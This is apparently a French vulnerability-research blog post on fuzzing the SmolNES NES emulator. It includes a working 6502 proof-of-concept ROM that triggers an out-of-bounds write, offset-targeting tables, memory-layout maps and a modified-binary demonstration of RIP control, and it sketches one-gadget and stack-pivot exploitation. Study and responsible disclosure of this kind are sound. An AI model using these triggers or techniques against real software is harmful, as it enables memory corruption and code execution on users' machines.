Aller au contenu

Blog

Recherche de vulnérabilité sur SmolNES

L’émulateur SmolNES présente de multiples vulnérabilités mémoire, dont un Out-Of-Bounds Write via le Mapper 3 (CHR-RAM) conduisant à une corruption mémoire arbitraire lors de l’utilisation d’une ROM malveillante.

En pratique, seule la disponibilité est affectée de manière certaine : une ROM malveillante peut provoquer un crash reproductible. Dans le layout mémoire de SmolNES, la GOT et la heap sont hors de portée, et aucun pointeur de fonction exploitable n’est présent dans la zone atteignable par le débordement.

Elle constitue cependant un excellent cas d’étude, directement transférable à des cibles plus critiques présentant un layout mémoire favorable : la section 9 illustre le contrôle de RIP dans un binaire modifié pour simuler ce scénario.


  1. Contexte et choix de la cible
  2. Mise en place de l’environnement de fuzzing
  3. Premiers résultats : les crashes initiaux
  4. Piste 1 : OOB Read dans la PRG-ROM (abandonnée)
  5. Analyse du code source
  6. Itérations de fuzzing et optimisations
  7. Découverte de la vulnérabilité réelle
  8. Cartographie mémoire et tentative d’exploitation
  9. PoC sur binaire modifié : contrôle de RIP
  10. Responsible Disclosure et CVE
  11. Annexe : Concepts NES nécessaires
  12. Ressources

Page GitHub de smolnes, 776 stars et 3 contributors

Le code source est disponible sur GitHub (binji/smolnes).

SmolNES est un émulateur NES (Nintendo Entertainment System) écrit en environ 700 lignes de C “golfé” dans deobfuscated.c (code volontairement compact). Quelques caractéristiques qui en font une cible idéale :

  • Interface AFL-fuzzable triviale : le programme prend une seule ROM .nes en argument (./smolnes <rom.nes>). Il suffit de nourrir AFL++ avec des fichiers binaires, puis de passer les fichiers générés directement dans smolnes.
  • Petite taille : le développeur ayant priorisé la compacité (ici il dit clairement “NES emulator in <5000 bytes of C”), les vérifications de bornes ont sûrement été négligées.
  • Complexité masquée : la NES est une machine complexe (CPU 6502, PPU graphique, système de “Mappers”). Il serait surprenant qu’un projet de ce type, sans focus particulier sur la sécurité, n’ait pas de bug.
  • Peu de mainteneurs : le projet n’a que 3 contributeurs, il est probable qu’aucune recherche de vulnérabilités n’y ait été menée.

La surface d’attaque principale identifiée d’emblée est le header du fichier iNES (les 16 premiers octets d’une ROM), qui configure des paramètres critiques comme la taille des banques mémoire, le type de mapper, et le mode graphique.


Le code source de SmolNES comprend deux versions :

  • smolnes.c : la version “golfée” officielle (illisible)
  • deobfuscated.c : une version lisible avec commentaires explicatifs, c’est cette version que j’ai utilisée pour la recherche

Deux modifications sont apportées à deobfuscated.c avant de le compiler pour le fuzzing :

  1. Suppression des appels SDL (Simple DirectMedia Layer, la bibliothèque graphique/audio) : les initialisations SDL, la création de fenêtre, le rendu, la récupération des événements sont commentés. Sans ça, le programme essaierait d’ouvrir une fenêtre à chaque exécution, rendant le fuzzing trop lent pour être viable.

  2. Limitation du nombre de cycles CPU : une limite est ajoutée dans la boucle principale. Sans ça, une ROM valide ferait tourner l’émulateur indéfiniment.

Le binaire instrumenté est compilé via les variables d’environnement du Makefile fourni :

Fenêtre de terminal
CC=afl-clang-lto make

afl-clang-lto (Link-Time Optimization) est le compilateur AFL++ le plus performant : il insère l’instrumentation lors de l’édition des liens, ce qui donne une meilleure couverture et de meilleures performances qu’afl-cc ou afl-clang-fast.

Des ROMs NES libres de droits venant du repo EmuDeck homebrew sont utilisées comme corpus initial. AFL++ va les muter automatiquement pour explorer de nouveaux chemins d’exécution.

Fenêtre de terminal
afl-fuzz -i games/ -o output_dir/ -- ./smolnes_instru/deobfuscated @@
AFL++ TUI iteration 1 : exec speed ~1500/sec, stability 100%, premiers crashes

Les métriques obtenues sont satisfaisantes :

  • ~1500 execs/sec : la suppression de la SDL est un succès
  • stability 100% : l’émulateur est déterministe, indispensable pour un fuzzing efficace

AFL++ trouve ses premiers crashs rapidement. En quelques minutes, 3 fichiers de crash uniques sont sauvegardés dans output_dir/default/crashes/. Après cette rafale initiale, plus aucun nouveau crash unique ne surgit malgré des dizaines de minutes de fuzzing supplémentaires.

sig:11 (SIGSEGV) est présent sur tous les crashs, ce qui indique un accès mémoire invalide.


4. Piste 1 : OOB Read dans la PRG-ROM (abandonnée)

Section intitulée « 4. Piste 1 : OOB Read dans la PRG-ROM (abandonnée) »

Le premier crash est chargé dans GDB pour analyse.

GDB crash OOB Read : instruction fatale movzx, $rax=0x3ffffc
→ movzx r15d, BYTE PTR [rax+rcx*1+0x10]
; deobfuscated.c:234 : return rom[(prg[hi - 8 >> prgbits - 12] & ...) << prgbits | ...]
; mem(lo=0xfc, hi=0xf, val=0x0, write=0x0), reason: SIGSEGV

Cela correspond au code :

// deobfuscated.c
return rom[(prg[hi - 8 >> prgbits - 12] & (rombuf[4] << 14 - prgbits) - 1)
<< prgbits |
addr & (1 << prgbits) - 1];

L’émulateur tente de lire à l’index 4 194 300 dans rom[], un buffer de 1 Mo maximum : c’est un Out-Of-Bounds Read.

Cause racine : la valeur rombuf[4] (5e octet du header iNES, nombre de banques PRG) a été mise à 0x00 par AFL. L’émulateur initialise alors :

prg[1] = rombuf[4] - 1;
// Si rombuf[4] == 0 : 0 - 1 = 255 (underflow non signé)

Le calcul de lecture de la PRG-ROM devient alors prg[1] * 0x4000 + offset = 255 * 0x4000 + 0x3FFC = 0x3FFFFC, soit pile le $rax observé.

Pourquoi cette piste est abandonnée : ce crash se produit au tout début de l’exécution, lors de la lecture du Reset Vector (première instruction du jeu). Il donne un crash immédiat (DoS), mais il n’y a aucun contrôle sur la valeur lue ni sur l’adresse cible. De plus, ce bug bloque AFL : quasiment toutes les mutations génèrent cette même erreur immédiate, l’émulateur ne démarre jamais vraiment, et AFL ne peut pas explorer les chemins d’exécution plus profonds qui nous intéressent.


Avant d’optimiser le fuzzing, il est nécessaire de comprendre le code pour savoir quels chemins d’exécution viser. C’est ici que je recommande de lire l’annexe expliquant les concepts utilisés par la NES, car cela devient quelque peu dense.

Le code est structuré autour d’une seule grande fonction main qui contient la boucle principale de l’émulateur, et quelques fonctions auxiliaires.

// deobfuscated.c
SDL_RWread(SDL_RWFromFile(argv[1], "rb"), rombuf, 1024 * 1024, 1);
// Le fichier ROM complet est charge dans rombuf[1024*1024]
rom = rombuf + 16; // Le code du jeu commence apres le header de 16 octets
prg[1] = rombuf[4] - 1; // Index de la derniere banque PRG (octet 4 du header)
// Octet 5 du header : nombre de banques CHR-ROM dans le fichier
// Si 0 : le jeu n'a pas de CHR-ROM, il utilise la CHR-RAM (8 Ko en RAM)
// v--- mode CHR-RAM : chrrom = chrram[8192]
chrrom = rombuf[5] ? rom + (rombuf[4] << 14) : chrram;
// ^--- mode CHR-ROM : chrrom pointe dans le fichier

chrrom est le pointeur de base pour les accès aux données graphiques. Sa valeur (soit vers le fichier ROM, soit vers chrram) est le pivot de la vulnérabilité.

// deobfuscated.c
uint8_t *get_chr_byte(uint16_t a) {
return &chrrom[chr[a >> chrbits] << chrbits | a % (1 << chrbits)];
}

Le paramètre a est une adresse VRAM sur 14 bits (valeur entre 0 et 16383), représentant la position dans l’espace graphique du PPU. C’est la variable V qui joue ce rôle lors d’un accès depuis $2007.

La formule est compacte. Pour la comprendre, il faut voir que a >> chrbits (avec chrbits=12) extrait le bit de poids fort de a sur 13 bits, qui encode le numéro de banque. En mode CHR-RAM standard, a est borné à $0000-$1FFF (8192 valeurs) avant l’appel : a >> 12 ne peut donc prendre que les valeurs 0 ou 1, désignant l’une des deux banques de 4 Ko. C’est chr[bank_index] qui peut dépasser 1 (coeur de la vulnérabilité). La multiplication << chrbits reconstruit l’adresse de base de la banque, et le modulo récupère l’offset intra-banque :

// Version lisible equivalente (avec chrbits = 12, taille de banque = 4096 octets) :
uint8_t *get_chr_byte_lisible(uint16_t a) {
uint8_t bank_index = chr[a >> 12]; // bits 12-15 de 'a' -> numero de banque
uint32_t bank_base = bank_index << 12; // bank_index * 4096
uint16_t offset = a & 0xFFF; // bits 0-11 de 'a' -> offset dans la banque
return &chrrom[bank_base + offset];
}

chr[] est un tableau d’index de banques graphiques. Il est mis à jour par les Mappers. En mode CHR-RAM, chrrom == chrram et chrram ne fait que 8192 octets (2 banques de 4096). Si bank_index >= 2, bank_base >= 8192, et le pointeur retourné dépasse la fin de chrram.

mem() émule tous les accès mémoire du CPU 6502. Elle reçoit l’adresse (hi:lo), la valeur à écrire (val) et le sens de l’opération (write).

// deobfuscated.c (extrait)
uint8_t mem(uint8_t lo, uint8_t hi, uint8_t val, uint8_t write) {
uint16_t addr = hi << 8 | lo;
switch (hi >>= 4) { // On divise hi par 16 pour obtenir la "zone" memoire
case 0: case 1: // Zone $0000-$1FFF : RAM interne (2 Ko, en miroir sur 8 Ko)
// La NES n'a physiquement que 2 Ko de RAM ($0000-$07FF). Les 6 Ko restants
// ($0800-$1FFF) sont des miroirs : acceder $0800 ou $0000 lit le meme octet physique.
return write ? ram[addr] = val : ram[addr];
case 2: case 3: // Zone $2000-$3FFF : Registres PPU (en miroir)
// Les 8 registres PPU ($2000-$2007) sont en miroir sur toute la zone $2000-$3FFF.
// lo &= 7 garde uniquement les 3 bits bas, ce qui mappe n'importe quelle adresse
// dans cette zone vers son registre PPU correspondant.
// Ex : $2015 -> 0x15 & 7 = 5 -> registre $2005 (ppuscroll).
lo &= 7;
if (lo == 7) { // Registre $2007 = PPUDATA (port de donnees du PPU)
// Le PPU a un delai d'un cycle sur les lectures : lire $2007 ne retourne pas
// immediatement la valeur a l'adresse V, mais la valeur du cycle precedent,
// stockee dans ppubuf. La lecture courante est mise en buffer pour le prochain
// acces. Exception : la palette ($3F00+) est retournee sans buffer.
// C'est pour ca que tmp = ppubuf au debut et return tmp a la fin.
tmp = ppubuf;
uint8_t *rom =
// Si V pointe dans la zone Pattern Table (0x0000-0x1FFF) :
V < 8192 ? write && chrrom != chrram
? &tmp // Ecriture en CHR-ROM : ignorer
// (tmp sert de bit bucket, la CHR-ROM est
// en lecture seule dans le hardware)
: get_chr_byte(V) // Ecriture en CHR-RAM ou lecture
// Si V pointe dans la zone Nametable (0x2000-0x3EFF) :
: V < 16128 ? get_nametable_byte(V)
// Sinon : zone Palette (0x3F00+)
: palette_ram + (uint8_t)((V & 19) == 16 ? V ^ 16 : V);
write ? *rom = val : (ppubuf = *rom); // Ecriture ou lecture effective
V += ppuctrl & 4 ? 32 : 1; // V s'auto-incremente apres chaque acces a $2007
V %= 16384; // V reste dans l'espace d'adressage PPU (14 bits = 2^14 = 16384)
return tmp;
}
// ... gestion des autres registres PPU ($2000 ppuctrl, $2006 ppuaddr, etc.)
case 4: // Zone $4000-$4FFF : Registres APU et I/O
// $4016 : lecture du joypad (etat du clavier dans l'emulateur)
for (tmp = 0, hi = 8; hi--;)
tmp = tmp * 2 + key_state[...]; // key_state = pointeur vers l'etat du clavier
case 6: case 7: // Zone $6000-$7FFF : PRG-RAM (RAM cartouche optionnelle)
// Deux memoires distinctes, deux roles distincts :
// - RAM interne ($0000-$1FFF) : 2 Ko soudes sur la carte mere. Variables de jeu,
// pile du 6502. Presente sur chaque NES.
// - PRG-RAM ($6000-$7FFF) : 8 Ko optionnels SUR la cartouche. Absents de la plupart
// des jeux. Quand presente, souvent alimentee par pile (battery-backed) pour
// sauvegarder la progression (Zelda, Metroid).
addr &= 8191; // Garde les 13 bits bas (0x1FFF) pour adresser prgram[8192]
return write ? prgram[addr] = val : prgram[addr];
default: // Zone $8000-$FFFF : ROM + gestion des Mappers
// IMPORTANT : les ecritures en zone ROM ne modifient pas la ROM.
// Elles sont interceptees et interpretees comme des commandes pour le Mapper.
if (write)
switch (rombuf[6] >> 4) { // Numero du Mapper
case 7: // Mapper 7 (AxROM)
// ...
case 4: // Mapper 4 (MMC3)
// ...
case 3: // Mapper 3 (CNROM) : commutation de banque CHR uniquement
chr[0] = val % 4 * 2; // Banque paire (0, 2, 4 ou 6)
chr[1] = chr[0] + 1; // Banque impaire suivante (1, 3, 5 ou 7)
break;
case 2: // Mapper 2 (UNROM)
// ...
case 1: // Mapper 1 (MMC1)
// ...
}
return rom[(prg[hi - 8 >> prgbits - 12] & (rombuf[4] << 14 - prgbits) - 1)
<< prgbits |
addr & (1 << prgbits) - 1];
}
return ~0;
}

Points clés identifiés pour la vulnérabilité :

  1. Le registre $2007 (PPUDATA) : c’est le port de données du PPU. Écrire dans $2007 depuis le code 6502 déclenche une écriture en VRAM, dont la destination est calculée par get_chr_byte(V). V est le curseur d’adresse interne du PPU, contrôlé par les écritures dans $2006 (PPUADDR).

  2. Le Mapper 3 : une écriture n’importe où dans $8000-$FFFF modifie chr[0] sans vérification de bornes. Avec val=0x01 (ou tout val tel que val % 4 == 1), chr[0] = 0x01 % 4 * 2 = 2.

  3. La condition de sécurité partielle : write && chrrom != chrram ? &tmp : get_chr_byte(V). Si chrrom == chrram (mode CHR-RAM), l’écriture passe par get_chr_byte sans vérification de bornes sur l’index de banque. C’est le seul cas où une écriture peut sortir des limites.


Itération 1 : suppression SDL + limite de cycles (résultat : 3 crashs, puis blocage)

Section intitulée « Itération 1 : suppression SDL + limite de cycles (résultat : 3 crashs, puis blocage) »

La première version du harness se contente de supprimer les appels graphiques SDL et d’ajouter une limite de cycles. AFL++ trouve rapidement 3 crashs uniques (tous liés à l’OOB Read dans la PRG-ROM décrit en section 4), puis se bloque.

Cause du blocage : l’émulateur crashe trop tôt. Quand rombuf[4]=0, le CPU NES ne démarre pas : il lit un Reset Vector invalide et tente immédiatement d’accéder à 4 Mo de PRG-ROM. AFL ne peut pas explorer les chemins d’exécution plus profonds (comme le code 6502 qui écrit dans $2007).

Itération 2 : patches header + ASAN + dictionnaire 6502

Section intitulée « Itération 2 : patches header + ASAN + dictionnaire 6502 »

Connaissant maintenant le code, plusieurs modifications supplémentaires sont apportées.

Patches du header dans le harness (appliqués après la lecture du fichier) :

// Evite l'underflow PRG et le crash immediat en $FFFC
if (rombuf[4] == 0 || rombuf[4] > 64) rombuf[4] = 1;
// Force le mode CHR-RAM : chrrom = chrram, ce qui active le chemin via get_chr_byte()
rombuf[5] = 0;
// Force le Mapper 3 (CNROM), preserve le bit de mirroring
rombuf[6] = (rombuf[6] & 0x01) | 0x30;

Ces trois patches guident AFL vers le chemin vulnérable :

  • rombuf[4] borné : empêche le crash PRG immédiat
  • rombuf[5] = 0 : garantit que chrrom == chrram, condition nécessaire à l’OOB Write
  • rombuf[6] = 0x3X : force le Mapper 3, active le code de commutation CHR sans vérification

Note sur rombuf[4] > 64 : on borne cette valeur à 64 banques maximum. Cette limite correspond exactement à la taille du buffer rombuf (1 Mo / 16 Ko par banque = 64 banques). Au-delà, les calculs d’index dépasseraient le méga-octet alloué. Ce n’est pas une limite NES officielle (les vraies ROMs NES font au maximum 32 banques PRG), c’est une borne de sécurité dérivée de la taille du buffer.

Compilation avec ASAN :

Fenêtre de terminal
AFL_USE_ASAN=1 CC=afl-clang-lto make

Sans ASAN, l’OOB Write écrit dans la mémoire adjacente sans crash immédiat si la zone écrasée contient des données “lisibles” par le processus. ASAN détecte l’accès hors-bornes au premier octet dépassé, rendant le crash systématique.

La contrepartie est une baisse de performance : ~300 exec/s au lieu de ~1500. Nous pourrions améliorer cela via d’autres optimisations mais cela n’a pas été nécessaire vu que j’ai obtenu bien assez de crashs même à cette vitesse réduite.

Dictionnaire AFL++ (nes6502.dict) :

# Header iNES
magic="NES\x1a"
mapper3="\x30"
# Opcodes 6502 d'ecriture
op_sta_abs="\x8D"
op_stx_abs="\x8E"
# Adresses registres NES
ppu_addr="\x06\x20" # $2006 : PPUADDR
ppu_data="\x07\x20" # $2007 : PPUDATA
mapper_reg="\x00\x80" # $8000 : registre Mapper 3
#...
# Le vrai dictionnaire que j'ai utilisé était bien plus grand

Sans ce dictionnaire, AFL doit trouver par hasard la séquence 8D 07 20 (STA $2007) dans 16 777 216 combinaisons possibles de 3 octets. Avec le dictionnaire, il l’insère directement.

Hotfix des bugs de surface :

Deux bugs supplémentaires ont été identifiés et hotfixés dans le harness pour permettre à ASAN d’atteindre le bug cible :

  • OOB Write palette_ram : l’index (uint8_t)(...) peut valoir jusqu’à 255, mais palette_ram ne fait que 64 octets. Hotfix : & 63 pour borner l’index.
  • OOB Read PRG-ROM : l’index calculé dans la formule PRG peut dépasser 1 Mo. Hotfix : vérification de l’index avant le return.

Ces deux bugs sont réels (confirmés sur des ROMs légitimes non modifiées), mais de moindre intérêt : le premier est un Write de portée limitée (~191 octets au maximum), le second est un Read sans contrôle sur la valeur lue.

Résultat : AFL++ trouve le crash OOB Write CHR-RAM très rapidement.

AFL++ TUI iteration 2 : crash OOB Write CHR-RAM trouve avec ASAN + dictionnaire + patches header

7. Découverte de la vulnérabilité réelle : OOB Write via Mapper 3 CHR-RAM

Section intitulée « 7. Découverte de la vulnérabilité réelle : OOB Write via Mapper 3 CHR-RAM »

Avec le binaire patché (ASAN + Mapper 3 forcé + CHR-RAM forcé), AFL++ produit un nouveau type de crash. Rejoué sous GDB avec ASAN, il révèle :

ASAN : global-buffer-overflow WRITE 0 bytes after chrram
==ERROR: AddressSanitizer: global-buffer-overflow
WRITE of size 1 at 0x55555628c9a0 thread T0
#0 in mem deobfuscated.c:92
0x55555628c9a0 is located 0 bytes after global variable 'chrram' (size 8192)

Contrairement aux crashes précédents (READ), celui-ci est un WRITE. Il touche exactement chrram[8192], premier octet après la fin du tableau.

La stack trace (#0) remonte à la ligne 92 de mem() :

write ? *rom = val : (ppubuf = *rom); // ligne 92

rom est ici le pointeur retourné par get_chr_byte(V), dont la valeur dépasse les bornes de chrram. ASAN interrompt l’exécution au moment précis de l’écriture.

Root cause : get_chr_byte() sans vérification de bornes

Section intitulée « Root cause : get_chr_byte() sans vérification de bornes »

En mode CHR-RAM (chrrom == chrram, depuis rombuf[5] = 0) et avec Mapper 3 actif (rombuf[6] >> 4 == 3), toute écriture du CPU dans $8000-$FFFF modifie les banques CHR :

case 3: // mapper 3
chr[0] = val % 4 * 2;
chr[1] = chr[0] + 1;
break;

val est entièrement contrôlé par la ROM. Les valeurs possibles de chr[0] et leurs conséquences :

val écritchr[0]offset base dans chrramhors-bornes ?portée OOB
val%4 = 000non-
val%4 = 128192oui+4095 o
val%4 = 2416384oui+12287 o
val%4 = 3624576oui+20479 o

Il n’existe aucune vérification que chr[0] reste dans les limites physiques de chrram.

Trois conditions, toutes satisfaisables par une ROM malveillante :

  1. rombuf[5] == 0 (octet 5 du header iNES, contrôlé par la ROM) : active le mode CHR-RAM
  2. rombuf[6] >> 4 == 3 (nibble haut de l’octet 6, contrôlé par la ROM) : active le Mapper 3
  3. Le PPU écrit via $2007 avec V dans $0000-$1FFF après une écriture Mapper qui a mis chr[0] >= 2

L’adresse cible est entièrement dérivable des deux paramètres contrôlables :

adresse = &chrram[ chr[V >> 12] * 4096 + (V & 0xFFF) ]
  • val écrit en $8000+ : détermine chr[0] (0, 2, 4 ou 6)
  • V : positionné par deux écritures consécutives en $2006

La granularité est l’octet. La valeur écrite (issue du registre A, X ou Y du 6502) est aussi contrôlée par la ROM.

La séquence suivante déclenche un OOB Write au premier octet après chrram. Header iNES : 1 banque PRG (rombuf[4] = 1), 0 banque CHR (rombuf[5] = 0), Mapper 3 (rombuf[6] = 0x30).

; Point d'entree (Reset Vector a $FFFC pointe ici)
; Etape 1 : selectionner la banque CHR via Mapper 3
; val=1 => chr[0] = 1%4*2 = 2 => offset de base = 2*4096 = 8192 (premier octet OOB)
LDA #$01 ; $A9 $01
STA $8000 ; $8D $00 $80 -> Mapper 3 : chr[0]=2, chr[1]=3
; Etape 2 : positionner V via deux ecritures consecutives en $2006
LDA #$00 ; $A9 $00
STA $2006 ; $8D $06 $20 (byte haut : $00)
LDA #$00 ; $A9 $00
STA $2006 ; $8D $06 $20 (byte bas : $00) => V = $0000
; Etape 3 : ecriture via $2007 (PPUDATA)
; get_chr_byte($0000) = &chrram[2*4096 + 0] = &chrram[8192] -> OOB
LDA #$41 ; $A9 $41 (valeur a ecrire)
STA $2007 ; $8D $07 $20 -> WRITE a chrram[8192]

Pour cibler un offset different :

cible (offset depuis debut chrram)val en $8000V en $2006
8192 + N (N < 4096)$01 (chr[0]=2)$0000-$0FFF
16384 + N (N < 4096)$02 (chr[0]=4)$0000-$0FFF
24576 + N (N < 4096)$03 (chr[0]=6)$0000-$0FFF

8. Cartographie mémoire et tentative d’exploitation

Section intitulée « 8. Cartographie mémoire et tentative d’exploitation »
GDB : adresses des variables globales dans la section .bss

L’ordre des variables globales en mémoire (section .bss, confirmé via GDB sur le binaire release) :

0x55555567a220 chrram [8192 octets] <- debut de la zone de debordement
0x55555567c220 ram [8192 octets]
0x55555567e220 palette_ram [64 octets]
0x55555567e260 vram [2048 octets]
0x55555567ea60 ptb_lo [1 octet]
0x55555567ea70 addr_lo [1 octet]
0x55555567ea80 prg [4 octets]
0x55555567ea90 rom [8 octets] (pointeur)
...

La portée maximale du débordement avec Mapper 3 : chr[0] max = 6, portee = 6 * 4096 + 4095 = 28671 octets au-delà du début de chrram, soit ~20 Ko hors-bornes.

La première cible naturelle d’un OOB Write est la GOT (Global Offset Table), qui contient les adresses des fonctions de la libc. Écraser une entrée de la GOT permet de rediriger un appel de fonction vers du code arbitraire.

GDB : GOT située avant la section .bss, hors de portée
gef➤ p/d 0x555555559fc0 - 0x55555567a220 # GOT - chrram
$5 = -1180256 # Valeur negative (~-1.1 Mo)

La GOT est située environ 1.1 Mo avant chrram en mémoire. L’OOB Write ne pouvant écrire qu’à des offsets positifs depuis chrram, la GOT est inaccessible.

La heap (allouée dynamiquement par SDL au démarrage) est une autre cible possible : elle peut contenir des pointeurs de fonction ou des métadonnées d’allocateur exploitables.

Distance chrram -> debut heap : 0x23e749f0 ~ 574 Mo

Comme on pouvait s’y attendre, l’ASLR place la heap à plusieurs centaines de mégaoctets de la section .bss. La portée maximale de l’OOB (~20 Ko avec Mapper 3) est sans commune mesure avec cette distance.

Dans les ~20 Ko atteignables après chrram, les variables présentes sont des tableaux d’entiers (ram, palette_ram, vram) et des scalaires (ptb_lo, addr_lo, registres 6502, prg). Les écraser perturbe l’émulation mais ne donne pas de primitive utile : aucun pointeur de fonction n’est présent dans cette zone.

Une variable se distingue toutefois : le pointeur *rom, situé à ~18 Ko après chrram, donc dans la portée du débordement. Il pointe vers le début du PRG dans rombuf et est utilisé pour calculer les offsets. L’écraser modifierait la base de calcul pour l’adressage, permettant potentiellement d’accéder à de la mémoire arbitrairement, mais en modifiant aussi d’où sont lues les instructions. Cette primitive s’auto-détruit donc en l’utilisant.

  • DoS garanti : crash reproductible avec une ROM .nes malveillante, confirmé via ASAN
  • Corruption mémoire : jusqu’à ~20 Ko de variables globales écrasables, perturbant l’émulation de manière arbitraire
  • RCE directe : impossible avec ce layout mémoire (GOT et heap hors de portée, aucun pointeur de fonction dans la zone atteignable)

Le layout mémoire de SmolNES ne contient pas de pointeur de fonction dans la zone atteignable par le débordement. Pour illustrer le potentiel de la vulnérabilité dans un scénario favorable, un pointeur de fonction est ajouté manuellement au code source de deobfuscated.c, dans la section .bss immédiatement après chrram. Ce pointeur n’existe pas dans le binaire original. Une ROM malveillante l’écrase avec 0xdeadbeef, ce qui donne le contrôle de RIP (registre instruction pointer sur x86_64) lors du prochain appel.

La modification repose sur trois fichiers. Le pointeur de fonction est déclaré dans une unité de compilation séparée (poc_hook.c) pour garantir que le linker place son .bss après celui de deobfuscated.o, donc à une adresse supérieure à chrram.

poc_hook.h :

typedef void (*render_hook_t)(void);
extern render_hook_t render_hook;

poc_hook.c :

typedef void (*render_hook_t)(void);
render_hook_t render_hook;

Diff complet :

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -18,8 +18,8 @@
-deobfuscated: deobfuscated.c
- $(CC) -O2 -o $@ $< ${SDLFLAGS} -g ${WARN}
+deobfuscated: deobfuscated.c poc_hook.c
+ $(CC) -O2 -o $@ deobfuscated.c poc_hook.c ${SDLFLAGS} -g ${WARN}
diff --git a/deobfuscated.c b/deobfuscated.c
--- a/deobfuscated.c
+++ b/deobfuscated.c
@@ -1,5 +1,6 @@
#include <SDL2/SDL.h>
#include <stdint.h>
+#include "poc_hook.h"
@@ -691,6 +691,8 @@
SDL_RenderPresent(renderer);
+ // [POC] Appel du hook de rendu si defini
+ if (render_hook) render_hook();
// Handle SDL events.

Deux points à noter :

  • Makefile : poc_hook.c est ajouté comme source explicite. Le linker place le .bss de poc_hook.o après celui de deobfuscated.o, garantissant que render_hook se retrouve à une adresse supérieure à toutes les variables de deobfuscated.c, dont chrram.
  • Point d’appel : le hook est appelé après chaque SDL_RenderPresent, soit une fois par frame (scanline 241). C’est le moment naturel où un émulateur exposerait ce type de callback.

Ce pattern est réaliste : de nombreux émulateurs exposent des callbacks de ce type pour les outils de debugging, les save states, ou les interfaces graphiques.

La ROM est générée par le script make_poc_rom.py (voir Ressources). On lui fournit l’offset de render_hook depuis chrram dans le .bss du binaire cible, puis écrit les 8 octets de 0xdeadbeef via des écritures successives à $2007, en incrémentant V de 1 à chaque fois (auto-incrémentation après chaque accès à PPUDATA).

GDB montrant RIP = 0xdeadbeef

RIP est contrôlé. L’émulateur a sauté à l’adresse fournie par la ROM malveillante.

Contrôler RIP ne suffit pas pour exécuter du code arbitraire sur un système moderne : l’ASLR et le NX bit sont des mitigations très efficaces.

Deux approches classiques pour aller plus loin :

Option 1 : One-gadget

Un “one-gadget” est un gadget présent dans la libc qui, lorsqu’il est appellé, appelle execve("/bin/sh", NULL, NULL) si certaines conditions de registres sont réunies. Il suffirait de pointer render_hook vers ce gadget pour obtenir un shell sans ROP chain, à condition de disposer préalablement d’un leak d’adresse libc pour contourner l’ASLR. Dans un contexte réel, l’objectif terminal n’est pas un shell local mais une persistance ou un accès distant : le one-gadget reste un outil valide, c’est l’action exécutée après qui diffère.

Option 2 : Stack pivot vers rombuf

La vraie alternative est le stack pivot : trouver un gadget qui place rsp (pointeur de pile) dans une zone mémoire dont on contrôle le contenu. rombuf est un tableau de 1 Mo (contenu entièrement contrôlé par la ROM malveillante) situé dans le .bss. Un gadget de la forme mov rsp, [adresse_dans_bss] ; ret permettrait de pivoter la pile vers rombuf et d’y exécuter une ROP chain arbitraire, menant à l’exécution de code. Ce scénario est renforcé par le fait que rom est un pointeur global (dans le .bss) qui pointe déjà dans rombuf : un gadget déréférençant cette adresse connue suffit à placer rsp dans la zone contrôlée.


Les vulnérabilités décrites dans ce write-up ont été signalées au mainteneur du projet (binji/smolnes) par e-mail avant la publication de cet article. Sa réponse, sans surprise pour un projet de code golf, était qu’il “wasn’t too worried about OOB in smolnes”. Il m’a autorisé à publier ce write-up.

Ces vulnérabilités répondent techniquement aux critères d’attribution d’une CVE : elles sont reproductibles, documentées, et l’impact (DoS garanti, corruption mémoire) est réel.

Cependant, une CVE aurait été contre-productive dans ce cas précis. SmolNES est un projet hobby de code golf avec 3 contributeurs, conçu comme un exercice de compacité et non comme un logiciel destiné à un déploiement en production. Il n’existe aucun chemin d’exploitation critique avéré dans le binaire tel qu’il est distribué (la GOT et la heap sont hors de portée, aucun pointeur de fonction n’est présent dans la zone atteignable).

Étant donné la nature du projet et l’absence de chemin d’exploitation critique avéré, j’ai décidé de ne pas polluer l’écosystème en demandant une CVE inutile.

Ce choix est aligné avec ce que décrit bien cet article : les scores CVSS sont calculés dans le pire cas de déploiement possible, indépendamment du contexte réel. L’auteur reconnaît lui-même que certaines CVEs “n’ont aucun chemin d’exploitation ou déploiement viable, et franchement font perdre du temps à tout le monde”. Un émulateur NES hobby en est l’exemple parfait.


Cette annexe explique les concepts architecturaux de la NES indispensables pour comprendre la vulnérabilité.


La NES (Nintendo Entertainment System, 1983) est composée de trois composants principaux :

  • CPU : un Ricoh 2A03, dérivé du MOS Technology 6502. Processeur 8 bits, bus d’adresses 16 bits (64 Ko d’espace d’adressage).
  • PPU (Picture Processing Unit) : le Ricoh 2C02, gère l’affichage. Il possède son propre espace d’adressage de 16 Ko, distinct du CPU.
  • APU (Audio Processing Unit) : intégré au CPU, gère le son (5 canaux).

Le jeu est stocké sur une cartouche qui contient deux types de mémoire :

  • PRG-ROM : le code du jeu et les données programme (lue par le CPU via $8000-$FFFF)
  • CHR-ROM ou CHR-RAM : les données graphiques (tuiles, sprites), accédées par le PPU

Le CPU adresse 64 Ko (0x0000 à 0xFFFF), découpés ainsi :

$0000 - $07FF : RAM interne (2 Ko, en miroir sur $0000-$1FFF)
$2000 - $2007 : Registres PPU (en miroir sur toute la zone $2000-$3FFF)
$4000 - $4017 : Registres APU et I/O (joypads, DMA)
$6000 - $7FFF : PRG-RAM (RAM cartouche optionnelle)
$8000 - $FFFF : PRG-ROM (code du jeu) + registres Mapper

Le Reset Vector : quand la NES démarre, le CPU lit les deux octets à $FFFC-$FFFD et saute à l’adresse qu’ils contiennent. C’est le point d’entrée du jeu.

Instructions 6502 pertinentes pour la vulnérabilité :

  • LDA #val (opcode A9) : charge une valeur immédiate dans l’accumulateur A
  • STA $addr (opcode 8D + 2 octets little-endian) : écrit A en mémoire absolue
  • INC $addr,X (opcode FE + 2 octets) : lit, incrémente, et réécrit la valeur en mémoire (Read-Modify-Write)

prg[] et les fenêtres mémoire :

prg est un tableau dont chaque élément contient le numéro d’une banque PRG actuellement mappée en mémoire CPU. Une banque PRG fait 16 Ko. Exemple :

prg[0] = 2; // la zone $8000-$BFFF pointe vers la banque 2 de la ROM
prg[1] = 5; // la zone $C000-$FFFF pointe vers la banque 5 de la ROM

Le PPU gère l’affichage via son propre espace d’adressage de 16 Ko :

$0000 - $1FFF : Pattern Tables (CHR : tuiles 8x8 pixels, 2 banques de 4 Ko)
$2000 - $3EFF : Nametables (carte de l'ecran)
$3F00 - $3FFF : Palette RAM (32 couleurs actives)

Le CPU ne peut pas accéder directement à la VRAM. Il communique avec le PPU via des registres mappés en mémoire dans la zone $2000-$2007 :

